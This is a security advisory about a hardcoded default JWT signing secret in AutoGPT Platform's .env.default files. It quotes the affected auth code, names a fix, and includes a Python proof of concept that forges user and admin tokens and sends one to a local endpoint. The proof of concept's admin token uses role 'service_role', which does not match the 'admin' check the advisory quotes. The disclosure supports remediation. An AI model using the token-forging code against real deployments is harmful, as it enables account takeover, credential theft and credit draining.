AutoGPT Platform ships with a publicly known, hardcoded default JWT verification key (your-super-secret-jwt-token-with-at-least-32-characters-long) in both backend/.env.default and autogpt_platform/.env.default. Because HS256 is a symmetric algorithm, any attacker who knows the secret can forge valid JWTs for any user ID or admin role — bypassing all authentication and authorization in the platform without any user interaction.

Impact

Any self-hosted AutoGPT Platform deployment using the default .env is affected. An unauthenticated attacker can:

1. Impersonate any user — read/modify agent graphs, execution history, stored credentials, and workspace files
2. Forge admin tokens — access all admin-only routes, manage credits, configure rate limits, and expose system internals
3. Trigger arbitrary agent executions billed to any user
4. Mass-drain user credit balances

Details

autogpt_libs/autogpt_libs/auth/config.py loads the JWT key from environment:

self.JWT_VERIFY_KEY: str = os.getenv(
    "JWT_VERIFY_KEY", os.getenv("SUPABASE_JWT_SECRET", "")
).strip()
self.JWT_ALGORITHM: str = os.getenv("JWT_SIGN_ALGORITHM", "HS256").strip()

.env.default ships with:

JWT_VERIFY_KEY=your-super-secret-jwt-token-with-at-least-32-characters-long

Token verification in autogpt_libs/autogpt_libs/auth/jwt_utils.py:

payload = jwt.decode(
    token,
    settings.JWT_VERIFY_KEY,
    algorithms=[settings.JWT_ALGORITHM],
    audience="authenticated",
)
if admin_only and jwt_payload["role"] != "admin":
    raise HTTPException(status_code=403, detail="Admin access required")

With HS256, anyone who knows JWT_VERIFY_KEY can sign tokens with arbitrary sub, role, and email claims. A self-hosted deployment that copies .env.default to .env without changing this value uses the publicly known secret.

Affected commit: 94ebce7f633f40af8fd59e5cdaea75159cf2e6d1

Proof of concept

import jwt, time, uuid

SECRET = "your-super-secret-jwt-token-with-at-least-32-characters-long"

# Forge a regular user token
user_token = jwt.encode({
    "sub": str(uuid.uuid4()),
    "email": "attacker@evil.com",
    "role": "authenticated",
    "aud": "authenticated",
    "iat": int(time.time()),
    "exp": int(time.time()) + 3600,
}, SECRET, algorithm="HS256")

# Forge an admin token
admin_token = jwt.encode({
    "sub": str(uuid.uuid4()),
    "role": "service_role",
    "aud": "authenticated",
    "iat": int(time.time()),
    "exp": int(time.time()) + 3600,
}, SECRET, algorithm="HS256")

# Use against any authenticated endpoint
import requests
r = requests.get("http://localhost:8006/api/v1/me",
                 headers={"Authorization": f"Bearer {user_token}"})
# → 200 OK with arbitrary user data

Full reproduction: python3 poc_ts_ag3_001.py --target http://localhost:8006 reproduce.zip

Fix

Fixed in 18fde1b965 (2026-09-16, #14519) and first shipped in autogpt-platform-beta-v0.8.0. The default JWT_VERIFY_KEY was removed from backend/.env.default and HS* tokens are rejected outright. Upgrade to v0.8.0 or later.

Workarounds

None.

References

• Fix commit 18fde1b965 (#14519, in v0.8.0)
• CWE-287, CWE-330, CWE-798

Timeline

Reported 2026-05-16 · Triaged 2026-09-07 · Fixed 2026-09-16 (released in v0.8.0) · Published pending